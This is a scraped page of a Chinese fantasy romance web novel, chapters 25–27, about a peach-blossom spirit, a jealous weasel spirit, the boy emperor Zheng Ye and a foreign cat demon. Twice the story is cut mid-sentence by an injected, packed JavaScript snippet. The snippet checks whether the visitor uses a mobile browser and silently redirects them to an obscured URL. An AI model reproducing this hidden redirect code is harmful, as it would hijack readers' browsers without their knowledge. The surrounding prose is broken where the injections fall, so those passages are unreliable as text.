明天还要和郑烨一起去外面玩,她现在可谨慎得很,因为怕柳精那个疯子再做出什么出其不意的行径,干什么之前都要提前算一算,懒得搭理黄鼠狼精便想要继续回到树上,岂料刚刚转身就被黄鼠狼精从后面抱住了。 “小桃变了好多好多,刚刚小桃躺在树上,我站在树下,都要哭了,因为小桃看起来好难过的样子......是想到了郑岚吗?” 桃花精讶异。 男人闭上眼,脑海中不由自主浮现出从前女孩与那个男人在一起的种种画面,忌火在胸腔内燃烧,他无法克制自己的恨意:“小桃知道这种感情是不能拥有的吧?在凡间待的越久,我的小桃就越来越古怪,明明以前根本不在意那个叫郑岚的破男人的呀,为什么现在又突然为他难过了呢?” 不得不说,黄鼠狼精对她的了解简直到了她意料不到的程度。 “对,我很难过。可与此同时,我也为学到了后悔、遗憾与不甘这些新的情绪而兴奋着,并且——”她拉开箍在腰间的双臂,转头去看男人,目光坚定执着,“我不认为此时此刻的我、怀揣着这种情感的我,是错误的。” 25. 第 25 章 不知道黄鼠狼精究竟在想些什么,明明一直以来都那么讨厌凡人,却总是要在她待在凡间的时候留下来,美其名曰保护她什么的。 说起来还真是要感谢柳精,被女人关在小世界里的那六年她还是成长了不少的——虽然完全比不过这些活了那么久的大妖精,但最基本的自保之力还是有的,哪里需要保护了? 说了很多遍自己已经不是从前那个每天大伤小伤不断地弱小妖精,男人却总是听不进去,甚至还未卜先知声明:“哪怕远离妖界我也是能够好好守护桃花谷的噢,所以小桃就尽管放心吧~啊,再说了来到凡间也不单单是为了小桃呀,我也是有自己的事情要做的嘛。” “你要做什么?” 男人伸出一根手指抵住嘴唇,神秘地笑了笑,眼底含着一丝歉意:“因为不想对小桃撒谎所以暂时没办法说呢,不过可以保证的是一定不会做伤害小桃的事情。” 桃花精淡淡收回眼,无所谓耸耸肩:“所以说还是和我有关系对吧。你不想说就算了,反正我也不感兴趣。” 黄鼠狼精不依不饶,“诶——?为什么会没有兴趣呢?小桃究竟是太信任我了还是对我这个人没有兴趣呢?” 这种耍赖皮的话反而叫她很认真思考了一会,“......都没区别的吧。” 黄鼠狼精穿了一身宽大的赭色长袍,温雅从容的笑意在女孩话音落下的一瞬间凝固在嘴角,澄净到宛如山野精灵的琥珀色眼眸逐渐变得幽深。他身体里好像有什么东西被撕碎了,头脑在接收到这句话时爆发出尖锐的刺痛,并在下一瞬蔓延至全身。 女孩这样淡然的语气仿佛是在说今晚的月亮真是漂亮啊,面对明显十分沉重的话题她总是能够说的坦然,不知道究竟是没有意识到询问者玩笑之下的试探,还是真的毫不在意。 可分明她对于那几个凡人却是如此地深情,无论是陶丽绾郑岚还是现在的郑烨,她都能够很好捕捉到这些凡人微不足道的小情绪,甚至在前面两个人死去许多年后还会因为想起他们而感到悲伤。 如此想来女孩在自己面前总是一副什么都不在乎的模样,虽然很多时候也会依赖他就是了,但是那种依赖就好像......嗯,怎么说呢,感觉有点像小兽对于母亲的依赖与索取呢——当然,能够给予桃花精自己所拥有的一切是件非常幸福的事情——想必从前那个叫郑岚的男人也是这么想的。 不过这样下意识的忽视果然还是让人很不爽啊。 *** 第二日清晨就传来了好消息,柳夫人持续了好几日的烧终于在昨日半夜退下了,今晨郑烨去探望时女人精气神好了许多,还有力气拉着他问了许多柳玉冷的事。 桃花精双手背在身后站在花团锦簇的院子里,低头无所事事地用脚玩地上的泥土,身边的男人悠然自得哼着小曲儿,注意到这边的动静后伸脚把她推起的一小块泥踩平。 “你真闲。”她嘟囔着站远了一些,犹觉得不够,抬脚便要先回屋子里。 黄鼠狼精一把拉住女孩的手腕,意味不明地眨眨眼,“那孩子正在换衣服,小桃可不能进去哦。” 她翻了个白眼,“哼,可不是所有人都和你一样小气,就算我看到了郑烨还没穿好衣服的样子他也不会生气。再说了——”她很轻松抽回手,“我和郑烨出去玩你跟来干嘛!” “我也想和小桃一起玩啊!”男人今日穿了稍微鲜亮一些的衣服,是与她很相称的淡粉色,显得他这个人真如一位世家公子般矜贵文雅,他丝毫不在意女孩的嫌弃,笑着凑近了,“小桃不许偏心,凭什么带他们出去玩就不能带我呀!虽然嘛,虽然我确实不喜欢凡人,但是——咳咳,也不能否认他们点子多,这里确实有很多好玩的。” “而且——”他含笑的眼眸里多了几分认真,“小桃很喜欢凡世间没错吧,我想要多多了解一点小桃所喜爱的事物。” 桃花精立刻反驳:“那也不用急于一时呀!郑烨他那么惨,又没有法术,好不容易能出来看看外面的世界好好玩一次,你非得来搅和什么,看不出来人家不喜欢你么!” 黄鼠狼精脸色难看了几分,但还是勉强撑住了和气的笑:“那我也不喜欢他呀,小桃会为了我和他保持距离嘛?” 桃花精一愣,旋即生气:“我喜欢跟谁在一起就和谁在一起,你管得着吗?出去玩不想带上你单纯是不喜欢你在旁边碍事,不是为了郑烨。况且你法术高超,想要什么动动手指头就行了,干嘛和他一个手无缚鸡之力的凡人相比较?” 她懒得再跟男人废话,没好气道:“反正你要留在凡间是你的事,我管不着,但是你在凡间的这段时间内不许打扰我的计划!也不许无缘无故接近郑烨他们!” “他们?”黄鼠狼精冷笑,气的不想再看女孩移开了眼,在目光触及不远处盛放的花丛时,脑海中不受控制就浮现了女孩的笑颜,还是扭回了头委屈质问:“除了郑烨还有谁呀?” “当然是柳精太后跟——”剩下两个字卡在嗓子眼里怎么都发不出,她动了动嘴唇,在与露出一副恍然大悟表情的男人对上视线后烦恼地抓了抓头发,干脆要求:“反正你不许接触和郑烨有关的所有人!整个皇宫的人你都不能碰,还有柳玉珍崔朔他们,总之你在凡间就要遵守女娲娘娘的命令,不能伤害任何凡人!” 虽然这个回答依旧让人开心不起来,不过好在因此见到了女孩可爱的一面,这让黄鼠狼精自从昨日起便烦闷的心情一下子好了许多,连带着看这院子里香的冲鼻子的大片花丛也顺眼了,退一步:“那就让我跟在你们身后,我不会出现在你们面前的。” 他这么多年来都是如此过来的,虽然这样的做法于他而言与自虐无异,可归根结底他所求的也不过是能够看着女孩,只要能够看到她,就已经足够了的。 桃花精刚想拒绝,耳边忽然传来一声轻快活泼的男声:“云仙大人!” 她顺着声音传来的方向望去,争妍的百花在阳光下熠熠生辉,与可爱的鸟雀蝴蝶一同从她移动的视线里掠过去,大约是因为男孩的声音太过动听,婉转柔嫩,像是春天的初芽一般为万物带来勃勃的生机,竟使她直到此刻才发现原来这座院子那么好看。 在目光从黄鼠狼精转移到门口的须臾之间,春日的风光被耳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15087999|161808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边灵动的声音点亮,一一滑过她的视野里,在她终于转过头将院中风景尽揽眼底、视线终于停留在声音发源处的一刹那—— 呼吸猛然屏住,春光因他全无颜色—— 郑烨着一身轻粉衣衫,提衣小跑过来时仿佛有朵朵桃花在他腿边翩然绽放。 直冲她而来的明媚笑容洋溢在他的脸上,背后的浓发跟随他的动作张扬飞舞,长眉轻扫展露一双星眸碎玉,有丹唇含皓齿,光华动人,望去仿若明珠仙子,非凡脱俗。 那张脸只要一显现就轻松夺走了百花之艳丽,世上再没有他这样貌美的男子了。 桃花精看呆了。 黄鼠狼精怒上心头,直接上前一步伸手轻轻盖住了女孩的眼,手下的睫毛眨动了两下,扫过他敏感的掌心,令他无法忍住指尖的颤栗,只得略微用力将整只手掌都覆在女孩眉眼那一片的皮肤上,如此才能遮掩住自己的窘态。 他另一只空闲的长臂环过女孩的腰,掀眸用一种挑衅的眼神看向对面的男孩,而郑烨—— 那张让桃花精为之感到惊艳的脸在顷刻间被忌恨吞噬,扭曲的面容里潜藏着女孩从未得见的阴毒,全然不见方才精致动人的模样。 黄鼠狼精被吓到——不,更准确来说是被男孩脸上诡异的笑容恶心到,手上不自觉失了力,而就在这一瞬,这个小少男骤然绽放灿烂的笑意,竟直接不管不顾小跑过来,从前面拥住女孩。 他们两人的手臂一个在下一个在上,中间只隔了两指的间隙。郑烨搂住女孩腹部往上一点的位置,正好在黄鼠狼精不自觉落下手的一瞬间低头贴紧女孩。 桃花精还没从刚才黄鼠狼精突然的动作里反应过来,此时一见光明,一张帅脸就亲昵地凑近,与她脸贴脸,同时嘴里还十分黏腻地说道:“云仙大人云仙大人,烨儿好想你啊。” 什么鬼,不是昨天刚一起出去玩吗。 她被男孩蹭的忍不住往后缩,然后后脑勺便撞上了黄鼠狼精鼓囊囊的胸膛,与此同时头顶也落上了男人的下巴,“小桃~我不管,我就是要和小桃一起去街上玩嘛~” 桃花精就这样被一大一小两个男人贴住。 “......好热啊!都起开!”她先伸手把前面的郑烨直接推开,男孩重心不稳往后摔倒在地上,双手撑在背后坐在地面上,仰头像只小猫一样委屈巴巴望着他。 她一视同仁,反手把身后的黄鼠狼精也推开,撩开脖颈后的头发扇了扇,“你们俩干什么呢,大太阳底下要给我做厚被子呀,妖精也是会热的啊知不知道。” 桃花精无语,转头狠狠瞪了一眼还有些愣神的高挑男人,“要么去办你在凡间的要事,要么就去城北花神庙里好好给我待着,总之不许偷摸摸跟在我们身后,要是被我发现了......”她拳头捏的咯咯响,趁男人不注意狠狠锤了他肩膀一拳,“就等着挨揍吧!” 她用了十成力,男人马上被打的捂着肩膀嗷嗷叫。 桃花精哼了一声,转身去看郑烨,却发现这孩子竟然还在地上半躺着。 “你呀——!”她无奈,朝羞怯的男孩伸出手,“快起来吧!” 26. 第 26 章 郑烨真是一个乖巧懂事又听话的好孩子。 ——桃花精不止一次这么感叹了。 一定是因为那个万寿宫的侍女教的好啊! 她发誓今日确确实实是想要带着男孩好好在外面玩一玩的,两人出了崔府后便直奔京城里最热闹的茶馆,那里是她常去的地方,非常熟悉,一定好玩的让小男孩大吃一惊。然而也不知今天是什么好日子,街上行人格外的多,车水马龙,摩肩擦踵,郑烨用以遮掩面容的帷帽都差点被挤掉过好几回。 桃花精千叮咛万嘱咐让男孩保护好自己的帷帽,千万别把那张祸水的脸露出来,然后拽着他的胳膊就开始往前挤。等好不容易到了那里后,发现一楼大堂里已经没有位置了。 从前郑岚带她来这里玩时倒是带她去过二楼雅间两回,可桃花精不喜欢两个人单独待在密封的屋子里,一点意思都没有,她还是更喜欢在热热闹闹的大堂里边听故事,边看周围的人们行事,她觉得这是很有趣的事情。 她被来来往往的行人撞了一路本就心里烦闷,一进来茶馆见满当当的人更加生气,拉着郑烨的手站在门口不知该如何是好。 “云仙大人,要不然我们去别的地方玩吧?您昨天那块玉不是没要成嘛,我们再另外挑一块吧。”郑烨的声音很好听,总是轻声细语地对桃花精说话,软软的嗓音像是山林里清澈的春风,一下子便吹散了人心中的燥意。 她还在犹豫,这时身后传来另外一道较为成熟但依旧很青涩的少男音,语调微微上扬,带着这座繁华京城随处可见的傲慢,“喂,前面俩人愣在那里做什么,赶紧走开,别挡本公子的道。” 她闻声转头望去,便见到乌泱泱一群人簇拥着一位锦衣华服的貌美小公子站在门口,她一惊,连忙拉着郑烨退到一边,同时嘴里抱歉:“真的不好意思......” 道歉的话语还未全部吐出,那位众星捧月的小公子便冲上前来惊喜道:“是你啊,小桃姑娘!” 桃花精不知道什么时候被郑烨挡在身后的,她扒着男孩直挺挺的脊背探头看过去,好巧不巧发现这人就是昨日结识的方花零。 于是他们两人作为方小公子的好友便自然而然被邀请到了这座茶馆里最上乘的雅间里吃茶。 “小桃姑娘!”一进屋,方花零便兴冲冲推着桃花精的肩膀与她一起坐下,很快就不满地鼓起腮帮子,不过他这个样子像只松鼠一样可爱没有杀伤力,“昨日回了府上,才想起来我还不知道小桃姑娘姓什么,家在哪里,想要请小桃姑娘出来玩都没有办法。哦对了,那块玉我昨天先拿回家给小姨看了一遍,她特别满意!” 他一改初见时高傲自矜的模样,此刻对她十分亲昵,大约是活泼的天性,让他叽叽喳喳说个不停,“所以——!为了感谢小桃姑娘我特意从库房里找到一块品质上好的玉,到时候可以送给你做玉佩。嗯......不过你昨天送我的那块玉就很好吧?那是哪里来的?看上去不像是民间的宝物,倒像是——” “啊!”桃花精突然大叫一声,引起屋内所有人的注意,絮絮叨叨说个不停的方花零被她打断,一直站在门口不知在想什么的郑烨也回过神来赶紧过来坐在她另一边。 她马上镇定自若抱怨:“好饿啊,方花零我好饿,想吃饭了!” 方花零怔住,眨了眨眼。 桃花精也眨眼。 少男被逗笑,依旧盯着她看,同时挥挥手,便有男仆去安排饭食了。 他没有再说前面的话题,目光转移到桃花精身后的男孩身上,疑惑:“这位是?” 不知为何,编故事能力一流的桃花精突然觉得眼前这个看似单纯可爱的少男可能没有想象中那么好骗,至少绝不会像柳玉珍一样她说什么就信。 上次在大街上郑烨也露出来过脸,但是看方花零当时的状态并没有认出。也是,郑烨这个傀儡皇帝小时候就深居简出,后来又一直被关在太极宫里,这些世家的小姐公子们应该是都没有见过的。 按照柳精现在的得意程度,她估计郑烨这辈子都不会有出头之日了,暴露皇帝的身份终归有不少麻烦,便按下了少男伸过来将要掀开纱布的手,笑容灿烂:“是我朋友,他脸上有疤不方便见人,你可不能为难他呀。” 方花零有一双又大又圆的眼睛,瞪大了的时候显得他这个人有几分呆呆的,但大约是因为他身上朱缨宝饰堆砌出来的贵气遮掩了傻气,让他看上去并不是个人傻钱多好糊弄的笨蛋公子。好在他没有深究,似乎与桃花精一样只是对什么都有兴趣但任何兴趣也只有一会的功夫,马上就说起了别的话题。 他说话有一股很特别的腔调,桃花精只在郑岚那里听到过,咬字清晰,字正腔圆,不急不缓的语速带着上位者的从容优雅,除此之外语调的升降与停顿处要比寻常人更加明显,但是又不似说书人那样饱含冲击力,给人的感觉更像是夏日里恬淡的小溪流,清爽灵动。 不过相较于郑岚的和缓平静,少男说话要更为清扬,明明并不是多么闲散的话语,却很容易叫人放松下来。 在得知桃花精喜欢听说书人讲故事后,便要把楼下说书的那位大娘请到这里来,被她连忙拒绝了,“别别别,我就是喜欢看热闹,咱们就这几个人没啥好听的。” 少男笑了,明媚张扬,“那就叫来舞乐助兴。”见女孩没有立即回复,便补充道:“便当做是庆祝我与小桃相识了。” 桃花精点点头,没有反对,正好她也好奇凡人们如此钟情的取乐方式究竟是怎么样的。 趁着上菜的间隙,她问身边的人:“你好像很擅长交朋友。”先不说能与黄鼠狼精这个极度厌恶凡人的老妖精一见如故,处成朋友——虽然一见如故是假,现在也不是朋友,可凭借方花零丝毫不受黄鼠狼精妖气的影响这一点,便能知道他往后的人生一定与黄鼠狼精纠缠不清。 再者,虽然桃花精与目前认识的三个凡人——陶丽绾、郑岚与郑烨都有着密切的联系,并且经常被妖界的妖精们评价为“离开凡人活不了的小妖精”,但!讲真的......她是真不喜欢与凡人牵扯太多啊!这三个人只是例外而已...... 她虽然觉得凡人们很有意思,喜欢看他们做事情,但这并不代表着她就想与他们过度接触。大多时候,面对偶尔与她攀谈的无关凡人们,她都是能不说话就不说话,实在无法闭嘴的时候便扔下一句“抱歉”匆匆逃走。 可方花零不一样,虽然不至于如少男口中所言就这么认定两人是很好的朋友了,可桃花精却难得不抗拒与他的接触,甚至于此刻觉得留在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15091529|161808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这里与他说话并不是什么多叫人厌烦的事。 少男挑眉,得意一笑:“是啊,本公子人见人爱,放眼整个京城就没有不喜欢我方花零的!” 桃花精深以为然,这人乍一看可能傲慢了些,但实际相处下来其实是个很会说话的人,从不会叫场面冷下来。 正在这时,店小二引着一白一黑两个男人走进来,之所以这么形容完全是出于二人的肤色。 白的那个肤白胜雪,玉容仙姿,却是身着一袭玄色长袍,全身上下遮掩的严严实实,他长得十分高挑,神色冷淡抱着一把琴站在那里,垂眸不言不语。 黑的那个...... 桃花精直接一口茶喷出来,呛的连连咳嗽,郑烨先方花零一步轻轻拍着她的背为她顺气,方花零则是赶忙再倒一杯温水递到她嘴边。她就着少男的手咽下茶水,嗓子眼终于好受了一些,抬眸再次看向对面含笑看着她的黑皮男子时,还是控制不住瞳孔微缩,瞪大了眼。 那个男人——不,应该是个与方花零差不多大的少男,下巴尖细,脸蛋精致,大眼睛小鼻子小嘴巴,组合起来是很漂亮的五官......但是!他他他怎么长得那么奇怪呀! 皮肤是与桃花精迄今为止见过的所有人里都不相同的蜜色,连那双眼睛也是亮的惊人的金黄色,宛如古老传说里化成人形的小兽,闪烁着迷人的光辉。而最引人瞩目的绝对是他那一头浅金色的柔软长发,几乎要与从窗子里射进来的阳光融化为一体,连他柔和的面部轮廓都好像镶了一层金色的光。 与那名抱琴而立的黑袍男子正相反,这怪异少男浑身上下只裹了层白纱,虽然这张宽大的白色细纱倒是把他从脖子到手腕再到脚踝都裹了个遍,但是在阳光下薄透宛若无物,胸前两点红梅与劲瘦的纤腰若隐若现。 桃花精从没见过这样奇怪的凡人,瞪大眼睛呆呆望着他含笑的金色眼瞳,一时间做不出任何反应。 这回是郑烨与方花零一右一左同时捂住桃花精的两只眼睛,郑烨怒起而立,愤愤指责方花零:“好你个心思不正的歹人——竟敢、竟敢勾引我家大人,简直可恶!” 方花零也没料到最近大家传的沸沸扬扬的异国舞男竟然穿着如此暴露,他原先是本着讨女孩欢心,再加上他自己也想见一见,就让人把这俩人叫过来了,没想到、没想到这个异国人竟然如此不要脸,在这种场合穿这样恶俗的衣物。 他连忙捧住女孩的手为自己辩解:“小桃你要相信我呀,我就是听人家说拾芳楼来了个跳舞很好看的异国舞男,想让你见识见识就把他叫来了,我这没想到他是这样的人!我什么都不知道的!”说着,他敲敲桌子就要让人把那个黑皮肤少男带下去。 早在方花零放下手的那一刻郑烨就赶紧把女孩两只眼睛都捂住,生气劝说:“云仙大人我们走吧!这方花零不是什么正经人,咱们不要和他待在一起了!” 桃花精眼前陷入一片黑暗,视觉的丧失让她其余感官更加灵敏,恍惚间似乎有一阵花果的香甜萦绕在鼻尖,久久无法消散。除此之外,似乎还有一股别样的熟悉感...... “等等!”桃花精一把挥掉郑烨的手,拍桌而起,在众人惊讶的目光下手指门边笑吟吟的白纱少男,大声说:“这个家伙,我要了!” 27. 第 27 章 拾芳楼头牌的价钱不低,不过好在郑岚留给桃花精最多的就是钱。 方花零俏脸上是显而易见的嫌弃与懊恼,看样子很是后悔让桃花精见到了那个深色皮肤的舞男,只是她与拾芳楼老板一手交钱一手交人的短短半柱香时间里,一旁的少男就叹了不下二十口气。 “怪我,都是我不好,我不该让这种奇怪的人出现在你面前,哎——” 他这话说的好奇怪,桃花精没能听明白,一手牵着舞男一手被郑烨牢牢抓住,闻言疑惑地歪了歪头:“你到底怎么了?”从她决定要买下这个异国舞男后,少男就一副她看不懂的表情。 方花零闻言又重重叹了口气,看向女孩的憔悴目光里满是无奈与心累,再次确认了桃花精脸上只有单纯的好奇后,一时间自己也说不清究竟是松了一口气还是被沉重的负罪感压的喘不过气。 虽然小桃看上去是和自己差不多大的年纪,可方花零不知为何潜意识里总是把女孩当做小孩子对待——而事实也确实如此,面对穿着如此暴露的少男,女孩无比坦然的态度昭示了她绝无任何杂念的纯粹心灵,似乎真的只是由于没有见过长相如此奇特的人,一时间觉得新鲜有趣罢了。 就像是小孩子见到独特的玩具也想要买下来那样,小桃面对她身边那个与赤身裸体无异的少男时也是这样的态度。 负罪感更重了啊喂! 不行!作为小桃姑娘在京城唯一的好朋友,他决不能就这么眼睁睁地看着她懵懵懂懂地误入歧途! 方花零暗自握拳,下定了决心一定不能让任何污秽之物接近小桃姑娘,然而再抬眼望去却发现面前空无一人。 “诶——!?人呢人呢人呢?完了完了完了!” *** 城北花神庙—— 空荡荡的庙宇没有一丝人气,这里看上去已经荒废了许久,然而细细看去无论是院子里桃树苗周围湿润的痕迹,还是庙堂里不落灰尘的神像,都会让人忍不住猜测这里或许还是有人打理的。 突然,半空之中忽然迸发一团淡粉色的光芒,下一刻只听见扑通三声,便有差不多高的三人分别从那团粉色光球中掉出。 最先砸在地上的是一名只裹了张轻纱的蜜色肌肤少男,而后摔落在他身上的则是个粉色衣衫容貌精致的男孩,他头上的帷帽咕噜噜滚去了井口边,男孩来不及惊呼一声就赶忙半跪起身朝天空举直双臂,很快就是伴随着“可恶啊——”的怒吼声,他的怀里落下一个女孩。 桃花精压的郑烨坐倒在地——不,一屁股坐在身下的少男身上,三人的叠罗汉里被压在最下面的少男一声不吭,直接动作灵活地抽出身子,然后趁郑烨都没反应过来拽着桃花精的双手把她一把扯到自己怀里,还缺心眼地往男孩身上踹了一脚。 “可恶!”桃花精怒极朝离自己最近的人打了一掌,竟直接把少男扇飞几米远砸到枯井上,她气的不行,原地绕圈不停踱步,每踏下一步便震的偌大一座花神庙抖三抖。 “气死我了气死我了!柳精这个阴险狡诈的混蛋!她竟然敢封印我的力量!?”她原本只是不想再与方花零纠缠,见周围的人注意力全放在他们小公子身上,便直接施法想要传送回太极宫里,没想到术法用了一半突然灵力不足失效,只能传送到最近的具有与她同源灵力的花神庙。 她不可置信望着自己的手掌,愤怒与悲伤缠住心脏让她难受得要死,动动指尖,立刻便有密密麻麻的桃花浮现在她周身,然而这些桃花围绕着主人旋转不过一会儿,便全部羽毛似的轻飘飘散落在地。 女孩像是见到鬼魅一般被吓到,而后极为不甘地大叫了一声,双手结印便要继续施法。 被踢了一脚的郑烨顾不得还手,跪在地上呆愣望着面前明显不大正常的女孩,忽然不知从何生出许多勇气,踉跄着爬起来飞奔过去抱住女孩,“云仙大人!您冷静一点!无论发生了什么我们都可以一起想解决的办法,只要您好好的就没有什么是没办法克服的,请不要再伤害自己了!” 桃花精被男孩搂在怀里,被迫终止了施法的动作,她推开他,突然低头捂着脸变得安静下来。 后背狠狠撞在石井上的黑皮少男面色极臭地捂着后腰站起身,原本松松散散盖在身上的白纱被这激烈的一撞直接彻底散开,就剩下短短一片稍微挂在腰间。 他金色的瞳孔在触及女孩的一瞬间收缩又放大,咬牙一瘸一拐冲到她身边,拽下她一只手,“你这家伙......!你怎么能这么弱!” 还要再劝的郑烨忽然闭上嘴,面无表情盯紧黑皮少男。 寂静瞬间降临,吞食了包括轻风的一切声音。 “哈——!?”桃花精猛然放下另一只手,转头用一种很可怕的眼神盯着旁边的少男,揪住他的头发恶狠狠凑近,“你再给我说一遍,臭、妖、兽。” 少男疼的直抽气,捂着自己被拉扯的头皮马上求饶:“对不起对不起!我错了!是我说错话了!别揪我头发啊!” “哼!”桃花精冷哼一声,一把甩开少男,“对,我就是弱,碍着你的事了?本姑娘再怎么弱也比你这个害人的妖兽强一万倍,你有什么资格嘲笑我?” 少男这一摔身上的薄纱直接抖了个干净。 她冷冷看着狼狈趴在地上的少男,大手一挥给他变了个衣服。 捂着头发气的发抖的少男忽然猛烈一颤,而后慢吞吞扭回头震惊望向女孩,在两人对上视线的一刹那,她移开眼。 郑烨也被眼前一幕惊到,然而注意到云仙大人有点得意的小表情,就知道是自己想多了,没忍住低头一笑。 “云仙大人,这是怎么回事?您认识这个人吗?”他走到女孩身边,警惕看向已经从地上爬起来的少男。 桃花精一噎,她心里的气恼已经消了个七七八八,被郑烨突然问起还真不知道该从哪一点说起,烦闷地抓了抓头发:“我有一部分灵力被柳精封印了,这两天没使用过什么厉害的术法,因此一直没有发现,应该是当初她把我关在小世界里时一起封印的。” 郑烨想起让云仙大人吃了那么多亏的柳玉冷就恨得牙痒痒,听了这话更是心疼得不行,关切道:“那该怎么恢复呢?要找柳玉冷亲自解除封印么?或者我再去找桃薇姑姑帮忙行——” “住嘴!”她厉声打断。 从来没被云仙大人用这么严肃的语气训斥过的郑烨吓的怔住,嗫喏着说不出话,眼眶里蓄起了水色,他连忙低下头。 桃花精冷冷瞥了男孩一眼,语气不辨喜怒:“没事,反正我本来就没多少灵力,就她封印的那一点,我用不了几天就能修炼过来。” “既然如此就赶快修炼啊!”一旁恨恨看着他们的少男突然出声,目光锁死在桃花精脸上大步走过来,挥手往身后一指,大声说:“这里不正是能让你修炼的好地方吗,直到自己弱的不行就好好利用你的天赋赶紧修行,你知不知道、知不知道——” 她很不喜欢这个少男说话的方式,没好气反问:“知道什么啊?” 他似乎被她无所谓的态度气到,大吼了出来:“知不知道多少人想要还要不来呢!” 末尾的语音含着哭腔,颤了颤。 桃花精被他莫名的激情吼的一愣,指了指自己:“你认识我?” “诶?”郑烨震惊,“云仙大人竟然不认识他么!” 她摇头,“不认识啊。” 男孩轻轻哇了一声,“竟然如此么,我还以为是云仙大人的妖精朋友呢。” 桃花精一副难以言说的嫌弃表情,“什么鬼,这家伙明显不是象国人好吧,虽然知道你是个废物但好得算是象国的皇帝没错吧?怎么能够问出这种笨蛋问题。” 郑烨再次震惊:“竟然真的是异国人么!” 桃花精:“............” 她忽然凑到郑烨面前,握住他的一只手贴在自己脸上,认真问:“你这孩子,知道我为什么长这样吗?” 郑烨脸爆红,眼睛变成了一圈又一圈,晕晕乎乎,结结巴巴:“不不不不知道......!” “当然是因为我是象国的妖精啊笨蛋!”桃花精对着男孩的头给了一拳。 ............ “你不会真以为妖精想长什么样就能变成什么样子吧?那要是大家都想变成身高八尺大手大脚天下无敌的巨人,你们凡人岂不是要被吓死!我们妖精——比如我、柳精和黄鼠狼精,都是我们的种族参考了周围凡人的模样,在我们意识还没真正产生时就在小世界里为我们塑造好了躯体。也就是说,我从诞生起就是现在这副模样。而这个家伙——” 桃花精拉过来死鱼眼的少男,“他是参考了周围人大概的长相,自己化形成了这个样子!如果我没猜错的话......”她扭头看进少男金黄色的眼瞳之中,“你应该是北国的妖兽?” 郑烨好看的眉头拧起,“......妖兽?” “没错!”她扔开少男,耐心解释:“简单来说呢,我们妖精!是由整个种族孕育而出,经由女娲娘娘点拨且得到了众神认可的具有灵识的生命。而妖兽则不具备这些。” 最后一句过于简单,十分自然的语气令一旁的少男猛地攥紧拳头,难以置信看向侃侃而谈的女孩。 “就知道你听不懂。”桃花精想了一会,换了个浅显易懂的说法:“你可以理解为,妖精是守护某一种生命的精灵,而妖兽则是某一个植物或者动物在极端条件下幻化出人形,本质上他们还是兽类。” 她看向少男,语气笃定,“你是北国的猫妖吧。” 少男不知道在桃花精与郑烨谈话时都想了什么,原先咋咋呼呼的人忽然安静下来,闻言只是冷哼一声撇过头不去看她,“是又怎样。” “北国”这一讯息触动了郑烨的神经,他动了动耳朵,没忍住发问:“崔朔正在北方边境与北国交战,你 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温度随着太阳的落下逐渐低了,这里围墙高筑,血红的斜阳照不过来,却是有淡淡的余晖笼罩在四方小天,因此虽然天气凉了一些,但还不至于叫人觉得阴冷。 尤其是对于她而言,冷热更像是日与月的化身,提起来的第一反应就是该用怎样的方式修炼才能更好吸收灵气。 然而此时此刻,被这双狂热的黄金之瞳注视着的桃花精,久违地感受到了冷意。 她不喜欢这样的感受,因为上一次让她遍体发寒的是陶丽绾。 “你认识我?”她又问了那个问题,很快,不等猫妖回答她就果断否定了他的话,“我对变强没有任何兴趣。” 桃花精无所谓地耸耸肩,“你也看到了,我弱的不行,被柳精封印了灵力——嗯,虽然很生气但也就那样。好吧,我不知道你所说的让我成为最强者背后又有什么目的,不过我劝你还是尽早放弃,因为不可能的。妖精与妖兽不一样,我们没有那么强烈的斗争欲望,修为强大没有任何益处,妖精终生的使命只有一个,那就是守护种族,履行好把世间灵力灌输到种族里的职责。我变强也没有用,现在的法术就够我用的了。况且妖精之间是绝对不允许斗殴的,我就算当个没用的小妖精也不会有人伤我。” “那柳精呢?”猫妖迅速反问,他上前逼近一步,金色的瞳孔再次被愤恨覆盖:“你不就是因为太没用所以才被柳精打的惨兮兮吗!桃花精!为什么你就是不好好珍惜你的天赋,变强究竟有什么不好的?!” 她不适地后退,郑烨立即挡在她前面,然后趁两只妖都没注意直接上前狠狠打了少男一拳。 “咚!”的一声是手骨与皮肉激烈碰撞发出的巨大声响。 当桃花精看过去时少男竟然整张脸都血肉模糊了,鲜红的血液噗呲喷涌而出,她甚至怀疑男孩在他脸上打了个洞! “你做什么!”她连忙拉回男孩,捧住他的脸上下左右看了一遍,确认还是她所熟悉的那个玉雪可爱的孩子后很大程度上松了一口气,这才放心去看躺倒在地上尖叫不止的猫妖。 而就在女孩转头后的视线死角里,方才那个委屈又纯良、似乎单纯只是为她打抱不平的男孩,瞬间展露凶残的獠牙,阴鸷可怖的气息扭曲了那张美丽的脸庞,无法透进一丝光亮的纯黑眼瞳隐约暴露了这个漂亮孩子的冷漠本质。 桃花精犹豫了一会,还是决定上前为猫妖治疗伤口,要是放任不管指不定真的要血尽而死。 “云仙大人!” 手腕被一抹冰凉箍住,她转头看去,便见到身为凡人却把一个妖兽打的半死的郑烨可怜兮兮望着她,明明两人是差不多的个子,他却总是喜欢用小狗似的眼神仰望着她,所有话都像是在撒娇,“这妖兽如此冒犯,云仙大人还要救他吗?” 